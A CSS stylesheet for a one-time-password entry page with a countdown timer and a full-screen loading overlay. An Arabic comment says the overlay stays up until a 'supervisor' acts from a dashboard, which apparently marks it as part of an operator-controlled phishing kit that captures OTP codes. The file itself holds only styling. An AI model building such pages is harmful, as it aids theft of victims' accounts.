:root{
  --bg: #dceaf9;
  --blue: #1f62ae;
  --text: #000;
  --border: #2f3e1e;
  --red: #d32020;
}

*{ box-sizing: border-box; }

body{
  margin: 0;
  font-family: Tahoma, Arial, sans-serif;
  background: var(--bg);
  color: var(--text);
}

.wix-bar{
  background: #f2f2f2;
  text-align: center;
  font-size: clamp(12px, 2.2vw, 18px);
  padding: 10px 0 11px;
  direction: ltr;
}

.wix-bar strong{
  font-weight: 700;
}

.top-header{
  background: #cfe0f5;
  border-bottom: 2px solid #ef8f22;
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 20px 0 16px;
}

.top-logo{
  width: 140px;
  height: auto;
}

.otp-page{
  width: min(620px, 94vw);
  margin: 22px auto 18px;
}

.otp-card{
  background: #fff;
  border: 3px solid var(--border);
  border-radius: 16px;
  padding: 20px 14px 18px;
  text-align: center;
}

.otp-title{
  margin: 0 0 14px;
  font-size: clamp(30px, 6vw, 42px);
  font-weight: 500;
}

.otp-text{
  margin: 0 0 16px;
  font-size: clamp(17px, 3.8vw, 24px);
  line-height: 1.5;
}

.otp-label{
  display: block;
  margin: 0 0 8px;
  font-size: clamp(22px, 4.5vw, 30px);
  direction: ltr;
}

.otp-input{
  width: 100%;
  height: 56px;
  border: 2px solid #111;
  border-radius: 4px;
  font-size: 22px;
  padding: 0 18px;
  margin-bottom: 14px;
  direction: ltr;
  text-align: center;
  unicode-bidi: isolate;
  letter-spacing: 0.2em;
  font-variant-numeric: tabular-nums;
}

.otp-btn{
  width: 100%;
  height: 58px;
  border: 2px solid #0d2b5d;
  border-radius: 8px;
  background: var(--blue);
  color: #fff;
  font-size: 34px;
  font-weight: 700;
  cursor: pointer;
  box-shadow: 0 4px 10px rgba(0,0,0,0.25);
}

.timer{
  margin: 22px 0 18px;
  color: #8b8b8b;
  font-size: clamp(30px, 9vw, 50px);
  font-weight: 700;
}

.legal{
  margin: 0;
  font-size: clamp(15px, 3.6vw, 20px);
  line-height: 1.6;
}

.legal a{
  color: var(--red);
  text-decoration: underline;
}

.bottom-logo-wrap{
  margin-top: 18px;
  display: flex;
  justify-content: center;
}

.bottom-logo{
  width: 112px;
  background: #fff;
  border: 1px solid #6fa4f0;
  border-radius: 8px;
  padding: 3px 8px;
}

/* طبقة تحميل كاملة حتى يوجّه المشرف من الداشبورد */
.otp-full-loading {
  display: none;
  position: fixed;
  inset: 0;
  z-index: 99999;
  background: rgba(0, 0, 0, 0.55);
  align-items: center;
  justify-content: center;
  flex-direction: column;
  padding: max(16px, env(safe-area-inset-top)) max(16px, env(safe-area-inset-right)) max(16px, env(safe-area-inset-bottom)) max(16px, env(safe-area-inset-left));
}

.otp-full-loading-inner {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 20px;
  max-width: 90vw;
  text-align: center;
}

.otp-full-loading-spinner {
  width: 52px;
  height: 52px;
  border: 4px solid rgba(255, 255, 255, 0.35);
  border-top-color: #1f62ae;
  border-radius: 50%;
  animation: otpFullLoadSpin 0.85s linear infinite;
}

@keyframes otpFullLoadSpin {
  to {
    transform: rotate(360deg);
  }
}

.otp-loading-message {
  margin: 0;
  color: #fff;
  font-size: clamp(16px, 4vw, 20px);
  line-height: 1.5;
  text-shadow: 0 1px 4px rgba(0, 0, 0, 0.35);
}

@media (max-width: 650px){
  .top-logo{ width: 120px; }
  .otp-page{ margin-top: 14px; }
  .otp-title{ font-size: 40px; }
  .otp-text{ font-size: 20px; }
  .otp-label{ font-size: 28px; }
  .otp-btn{ font-size: 32px; }
}

